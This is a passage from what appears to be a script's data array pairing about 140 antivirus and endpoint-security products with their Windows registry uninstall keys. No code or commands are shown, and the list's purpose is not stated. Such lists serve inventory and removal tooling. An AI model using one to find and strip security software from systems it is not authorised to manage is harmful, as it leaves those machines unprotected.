    Keys(52)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{78D891EF-9E2D-4FC8-A71F-E6F897BA1B21}"

    AppName(53)="Symantec AntiVirus 10.1.6.6000 x32"
    Keys(53)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{50E125D1-88E5-48CE-80AE-98EC9698E639}"

    AppName(54)="Symantec AntiVirus 10.2.0.276"
    Keys(54)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7C9E6E52-EB11-44DB-A761-82D5D873A8D9}"

    AppName(55)="Symantec AntiVirus 10.0.359.0 x64"
    Keys(55)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90F96527-C026-4A4C-8995-ACEDA51F9DFC}"

    AppName(56)="Symantec AntiVirus 10.1.5000.5 x64"
    Keys(56)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{243FAE07-C20D-46E0-9AE7-6FEE5E1EDAA4}"

    AppName(57)="Symantec AntiVirus 10.1.6000.6 x64"
    Keys(57)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D58FCD22-5818-412B-93C3-D03CF3D6A2CE}"

    AppName(58)="Symantec AntiVirus 10.1.7000.7 x32"
    Keys(58)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2085C617-589C-40F8-BE40-EDBC9E2CA2EB}"

    AppName(59)="Symantec AntiVirus 10.1.7000.7 x64"
    Keys(59)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53373E88-714C-4C90-9FD2-4C51FE115229}"

    AppName(60)="Symantec AntiVirus 10.2.0.298 x64"
    Keys(60)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A8D232A5-667B-44C5-AF79-BDFADBFD013B}"

    AppName(61)="Symantec AntiVirus 9.0.0.338/9.0.210/9.0.310"
    Keys(61)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{848AC794-8B81-440A-81AE-6474337DB527}"

    AppName(62)="Symantec AntiVirus 9.0.410"
    Keys(62)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3E172636-AE83-474A-9D07-E31C22C6DDC2}"

    AppName(63)="Symantec AntiVirus 9.0.5.1000"
    Keys(63)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2CFECCAA-8CB0-459B-9636-40430DBC8951}"

    AppName(64)="Symantec AntiVirus 10.1.5.5000"
    Keys(64)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{33CFCF98-F8D6-4549-B469-6F4295676D83}"

    AppName(65)="Symantec Client Security 3.0"
    Keys(65)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BA4B71D1-898E-4306-AE87-8BA7A596F0ED}"

    AppName(66)="Symantec Client Security 3.0 NT"
    Keys(66)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E9FA3047-0B15-4E19-85CE-EE7FC6E60F99}"

    AppName(67)="Symantec Client Security 2.0.5.1000"
    Keys(67)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64124FBF-0CD8-4BDF-BF2C-587FD458B23A}"

    AppName(68)="Symantec Client Security 9.0.0.338/2.0.3.1000"
    Keys(68)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00CD72B3-E2DF-4DFC-BCC1-5CC4F564518D}"

    AppName(69)="Symantec Client Security 10.0.846.0"
    Keys(69)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1BA1A958-4BBB-4AB1-9B66-C86CEC6616CB}"

    AppName(70)="Symantec AntiVirus 9.0.0.338/9.0.210/9.0.310"
    Keys(70)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{848AC794-8B81-440A-81AE-6474337DB527}"

    AppName(71)="Symantec AntiVirus 9.0.410"
    Keys(71)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3E172636-AE83-474A-9D07-E31C22C6DDC2}"

    AppName(72)="Symantec Client Security 3.1"
    Keys(72)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0698CECB-9072-47B1-AEA1-94CA350989B8}"

    AppName(73)="Symantec Endpoint Protection 11.0.2020.56"
    Keys(73)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB0500E8-A6D5-4D66-A4F9-1457530E5B6F}"

    AppName(74)="Symantec Endpoint Protection 11.0.2000.1567 – 64BIT"
    Keys(74)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E8B5E073-4FB3-4976-B4A8-0DF3CE91E744}"

    AppName(75)="Symantec Endpoint Protection 11.0.2000.1567"
    Keys(75)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76B2BC31-2D96-4170-9C44-09E13B5555F3}"

    AppName(76)="Symantec AntiVirus 11.0.714.839 Public Beta"
    Keys(76)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9CEDDB8F-390F-47CC-A080-33D32F365E09}"

    AppName(77)="Symantec Endpoint Protection 11.0.780.1109"
    Keys(77)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{FB8A4E30-9915-4814-ADF9-42E00D9FDC3D}"

    AppName(78)="Symantec Endpoint Protection 11.0.780.1109 x64"
    Keys(78)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AEEE3540-F708-453C-910E-0CE78AF433CA}"

    AppName(79)="Symantec Endpoint Protection 11.0.2010.25"
    Keys(79)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2E2966EA-2169-4E42-8A8A-CC1749D80088}"

    AppName(80)="Symantec Endpoint Protection 11.0.3001.2224"
    Keys(80)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{49C27FB0-CEEF-4A11-8114-0BFE336D3884}"

    AppName(81)="Symantec Endpoint Protection 11.0.3001.2224 x64"
    Keys(81)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{908C6647-E399-44E7-99E9-D7E9CE5E3715}"

    AppName(82)="Symantec Endpoint Protection 11.0.4000.2295"
    Keys(82)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3BAB4914-9CC1-4CC2-A3DA-56EF62DFD373}"

    AppName(83)="Symantec Endpoint Protection 11.0.4000.2295 x64"
    Keys(83)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{12F5D482-1F43-4708-BCC5-031F10A08949}"

    AppName(84)="Symantec Endpoint Protection 11.0.6005.562"
    Keys(84)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0A2163CB-4F47-44AA-A219-36133260CF17}"

    AppName(85)="Symantec Quarantine Console 3.5.0"
    Keys(85)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{86A46236-C44B-4217-81E9-6B691C82E1DD}"

    AppName(86)="Symantec Quarantine Server 3.5.0"
    Keys(86)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{2BEE3B33-03F4-4544-BBD0-F7D2840DF66F}"

    AppName(87)="Symantec Packager"
    Keys(87)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E8A4D550-6301-449F-B7A3-7413F4180F80}"

    AppName(88)="Symantec Client Security 11.0.780.1109"
    Keys(88)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{FB8A4E30-9915-4814-ADF9-42E00D9FDC3D}"

    AppName(89)="Symantec Client Security 10.1.6000.6"
    Keys(89)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D0E46FF4-2775-4BD9-9467-B62B702D470E}"

    AppName(90)="Symantec Client Security 10.1.4000.4"
    Keys(90)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C20729A4-C8C2-4DE3-94BE-5E3A2E9EFB63}"

    AppName(91)="Symantec Client Security 10.1.394.0"
    Keys(91)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{473AF7D0-B864-4699-9974-DF570C5B6DCE}"

    AppName(92)="Symantec AMS Server"
    Keys(92)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1FB9B789-CFB6-48CD-A579-1D0A30F36435}"

    AppName(93)="McAfee Anti-Spyware Enterprise 8.0"
    Keys(93)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VSEMAS__8000"

    AppName(94)="McAfee VirusScan Enterprise 7.1"
    Keys(94)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN7100"

    AppName(95)="McAfee VirusScan Enterprise 7"
    Keys(95)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN7000"

    AppName(96)="McAfee VirusScan Enterprise 8.0"
    Keys(96)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN8000"

    AppName(97)="McAfee Desktop Firewall 8.0"
    Keys(97)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\FIREWALL8000"

    AppName(98)="McAfee VirusScan Enterprise 8.5"
    Keys(98)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN8600"

    AppName(99)="McAfee VirusScan Enterprise 8.7.0.570"
    Keys(99)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN8700"

    AppName(100)="McAfee VirusScan TC"
    Keys(100)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN6100"

    AppName(101)="McAfee VirusScan ASaP"
    Keys(101)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\myCIO.com VirusScanASaP"

    AppName(102)="Mcafee Managed VirusScan"
    Keys(102)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MVS"

    AppName(103)="McAfee Firewall Protection Service"
    Keys(103)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee Managed Firewall"

    AppName(104)="McAfee Browser Protection Service"
    Keys(104)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee SiteAdvisor"

    AppName(105)="McAfee Internet Security 6.0"
    Keys(105)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{56D45213-8AD9-46C5-A393-EB21A760DD43}"

    AppName(106)="McAfee VirusScan Professional 9.0"
    Keys(106)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VirusScan Online"

    AppName(107)="McAfee SpamKiller"
    Keys(107)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee SpamKiller"

    AppName(108)="McAfee SecurityCenter"
    Keys(108)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mcafee SecurityCenter"

    AppName(109)="McAfee VirusScan NT"
    Keys(109)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VirusScan NT"

    AppName(110)="McAfee VirusScan 4.5"
    Keys(110)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN4500"

    AppName(111)="McAfee VirusScan 4.51"
    Keys(111)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\VIRUSCAN6500"

    AppName(112)="McAfee VirusScan 6.01"
    Keys(112)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{87AEFD84-BC0D-11D4-B885-00508B022A51}"

    AppName(113)="McAfee VirusScan 95(1)"
    Keys(113)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VirusScan"

    AppName(114)="McAfee VirusScan 95(2)"
    Keys(114)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee VirusScan"

    AppName(115)="McAfee VirusScan(MSPlus98)"
    Keys(115)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Plus98"

    AppName(116)="McAfee WebScanX v3.1.6"
    Keys(116)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\McAfee WebScanX"

    AppName(117)="McAfee ePolicy Orchestrator Agent 1.x"
    Keys(117)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\ePOAgent1000"

    AppName(118)="McAfee ePolicy Orchestrator Agent 2.x"
    Keys(118)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\ePOAgent2000"

    AppName(119)="McAfee ePolicy Orchestrator Agent 3.x"
    Keys(119)="HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\ePOAgent3000"

    AppName(120)="Dr.Solomon 4.0.3"
    Keys(120)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Dr Solomon’s VirusScan"

    AppName(121)="Dr.Solomon 4.0.3 NT"
    Keys(121)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Dr Solomon’s VirusScan NT"

    AppName(122)="Dr Solomon 7.77"
    Keys(122)="HKEY_LOCAL_MACHINE\SOFTWARE\Dr Solomon’s Software\Anti-Virus"

    AppName(123)="CA eTrust InoculateIT 7.0"
    Keys(123)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\eTrust Antivirus"

    AppName(124)="CA eTrust 7.1.0194"
    Keys(124)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6A120E99-3123-4CB2-9A02-D24784F4BC8C}"

    AppName(125)="CA eTrust 7.1"
    Keys(125)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{99747F0D-D4F8-4877-9CA0-4AE96D963633}"

    AppName(126)="CA InocuLAN_NT 4.53"
    Keys(126)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InoculateIT for Windows NT"

    AppName(127)="CA InoculateIT Clients for Windows 6.0"
    Keys(127)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InoculateIT"

    AppName(128)="CA eTrust InoculateIT 6.0"
    Keys(128)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\eTrust InoculateIT"

    AppName(129)="CA InocuLAN 5"
    Keys(129)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VETWIN32Vp5"

    AppName(130)="CA eTrustITM Server 8.0"
    Keys(130)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B05B217B-78EA-4383-A5C6-88F8D0A6B204}"

    AppName(131)="CA eTrustITM Agent 8.0"
    Keys(131)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A73227F9-C4B0-4018-B0B0-4DCAF791A29E}"

    AppName(132)="CA eTrust ITM Agent 8.1.637"
    Keys(132)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{107558C8-458B-45EA-A0FE-7CC10D687DB6}"

    AppName(133)="CA eTrustITM Server 8.1.655"
    Keys(133)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A2635AD-91E0-4758-BD1E-CA57C9294F1F}"

    AppName(134)="CA eTrust ITM Agent 8.1.655"
    Keys(134)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{85F88F9C-6EB2-426B-88AB-28DA4A3526B9}"

    AppName(135)="CA iTechnology iGateway 4.0"
    Keys(135)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4E2EA248-BDE8-4DE7-B51D-D46A2B7581F2}"

    AppName(136)="CA iTechnology iGateway 4.2.0.1"
    Keys(136)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{54056D16-28C6-4673-BC84-77DA7553EF70}"

    AppName(137)="CA iTechnology iGateway 4.2.0.2"
    Keys(137)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{847501DF-07C0-4691-B04A-893929F108AE}"

    AppName(138)="Cheyenne AntiVirus 9X"
    Keys(138)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Cheyenne AntiVirus"

    AppName(139)="Cheyenne AntiVirus NT"
    Keys(139)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InocuLAN for Windows NT"

    AppName(140)="V3Pro 2000 Deluxe"
    Keys(140)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\V3Pro 2000 Deluxe"

    AppName(141)="V3Pro 98 Deluxe"
    Keys(141)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\V3Pro 98 Deluxe"

    AppName(142)="V3Pro 98"
    Keys(142)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\V3Pro 98"

    AppName(143)="Panda Platinum Internet Security 2004/2005"
    Keys(143)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E91563B4-D9EC-11D5-A2BB-00606771B69D}"

    AppName(144)="Panda Titanium Antivirus 2004"
    Keys(144)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{BB85F18B-43C6-48B5-ABA9-6A5DDA65AA1B}"

    AppName(145)="Panda Titanium Antivirus 2006"
    Keys(145)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{98032D6F-3EE6-4646-B68C-40BF012AC89B}"

    AppName(146)="Panda Titanium Antivirus 2007"
    Keys(146)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D1DA2BA7-2592-4036-9BB2-DCCABDE8DC1A}"

    AppName(147)="Panda Antivirus Local Networks"
    Keys(147)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Panda Antivirus Local Networks"

    AppName(148)="Panda Antivirus 6.0"
    Keys(148)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Panda Antivirus 6.0 Platinum"

    AppName(149)="Panda Antivirus Windows NT WS"
    Keys(149)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Panda Antivirus Windows NT WS 4.0"

    AppName(150)="Panda Administrator 2006"
    Keys(150)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{57675F06-EF3D-467C-B6DB-5EC6C200A3F3}"

    AppName(151)="Panda AdminSecure Reports Component"
    Keys(151)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{63F20384-30A9-48E2-86E3-DDBF95992070}"

    AppName(152)="Panda FileSecure"
    Keys(152)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVNT"

    AppName(153)="Panda CVPSecure"
    Keys(153)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Panda CVPSecure"

    AppName(154)="Panda FileSecure Workstation"
    Keys(154)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AVTC"

    AppName(155)="Panda Communucation Agent 3.0 NT"
    Keys(155)="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PAVAGENTE"

    AppName(156)="F-Secure Anti-Virus 2008"
    Keys(156)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Product 303"

    AppName(157)="F-Secure Internet Security 2008"
    Keys(157)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Product 444"

    AppName(158)="F-Secure Internet Security 2005"
    Keys(158)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\BackWeb-4476822 Uninstaller"

    AppName(159)="F-Secure Client Security 7.10 – E-mail Scanning"
    Keys(159)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure E-mail Scanning"

    AppName(160)="F-Secure Client Security 7.10 – System Control"
    Keys(160)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure HIPS"

    AppName(161)="F-Secure Client Security 7.10 – Internet Shield"
    Keys(161)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Internet Shield"

    AppName(162)="F-Secure Client Security 7.10 – Web Traffic Scanning"
    Keys(162)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Protocol Scanner"

    AppName(163)="F-Secure Client Security 7.10"
    Keys(163)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Anti-Virus"

    AppName(164)="F-Secure E-mail Scanning"
    Keys(164)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure E-mail Scanning"

    AppName(165)="F-Secure Internet Shield"
    Keys(165)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Internet Shield"

    AppName(166)="F-Secure Web Traffic Scan"
    Keys(166)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Protocol Scanner"

    AppName(167)="F-Secure 4.08"
    Keys(167)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Anti-Virus"

    AppName(168)="F-Secure BackWeb"
    Keys(168)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure BackWeb"

    AppName(169)="F-Secure 4.04"
    Keys(169)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Anti-Virus"

    AppName(170)="F-Secure Management Agent"
    Keys(170)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\F-Secure Management Agent"

    AppName(171)="Sophos Anti-Virus NT 7.0"
    Keys(171)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{034759DA-E21A-4795-BFB3-C66D17FAD183}"

    AppName(172)="Sophos Anti-Virus NT"
    Keys(172)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sophos-SweepNT"

    AppName(173)="Sophos Remote Management System"
    Keys(173)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{FF11005D-CBC8-45D5-A288-25C7BB304121}"

    AppName(174)="Sophos Anti-Virus NT 5.0"
    Keys(174)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{09C6BF52-6DBA-4A97-9939-B6C24E4738BF}"

    AppName(175)="Sophos AutoUpdate 1.4.0"
    Keys(175)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C12953C2-4F15-4A6C-91BC-511B96AE2775}"

    AppName(176)="Sophos AutoUpdate 2.0.2"
    Keys(176)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{15C418EB-7675-42be-B2B3-281952DA014D}"

    AppName(177)="Sophos Anti-Virus 9X"
    Keys(177)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sophos-Sweep95"

    AppName(178)="ViRobot Desktop 5.5"
    Keys(178)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ViRobot Desktop 5.5"

    AppName(179)="ViRobot ISMS client 3.5"
    Keys(179)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ViRobot ISMS Client 3.5"

    AppName(180)="ViRobot 2k Professional"
    Keys(180)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ViRobot 2000 Professional"

    AppName(181)="ViRobot Expert 4.0"
    Keys(181)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A891D097-880A-41BB-8F86-A0D09E8D295F}"

    AppName(182)="Command AV 4.64 9x"
    Keys(182)="HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\F-PROT 95"

    AppName(183)="Command AntiVirus for Windows 2000/XP"
    Keys(183)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B9A1C20C-ADA2-4C1A-B71D-72EBF4885695}"

    AppName(184)="Command AV 4.8 Enterprise"
    Keys(184)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C76FB59A-5C20-446E-91D3-D3071B56E3F7}"

    AppName(185)="Command AV 4.8 Standalone"
    Keys(185)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{0437404B-17E0-48A5-BD03-CC9AEE7C3DDF}"

    AppName(186)="Command AV 4.9 Standalone"
    Keys(186)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9FBFAD2E-8FDC-437B-8EE2-CF7A3A760850}"

    AppName(187)="Command AV 4.90.0 Standalone"
    Keys(187)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{545F4C9E-BBE7-4505-83DC-38EAD0763250}"

    AppName(188)="Command AV 4.91.0 Enterprise"
    Keys(188)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{824DAF53-FFB1-46C9-8FED-0B88678B73F4}"

    AppName(189)="Command AV 4.93.8 Standalone"
    Keys(189)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B23C95F0-C53E-4E70-9D56-833C9DB64D25}"

    AppName(190)="Command AntiVirus for Windows Enterprise 4.9x"
    Keys(190)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{51DB025A-6EA1-4D86-9F26-27F3993F77AE}"

    AppName(191)="Kaspersky (TM) Anti-Virus Personal 4.0"
    Keys(191)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{7F5E2A5A-92C5-4DF1-808D-1688C50CBFEE}"

    AppName(192)="Kaspersky (TM) Anti-Virus 5.0 for Windows Workstation"
    Keys(192)="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\InstallShield_{90467142-F6B5-48B5-9A46-AFE61C4598CA}"

    AppName(193)="Kaspersky Anti-Virus 5.0 for Windows Workstations"
    Keys(193)="HKEY_LOCAL_MACHINE\SOFTWARE\KasperskyLab\Components\34\Workstation\5.0.0.0\Installer"

    AppName(194)="Kaspersky Anti-virus 6.0"
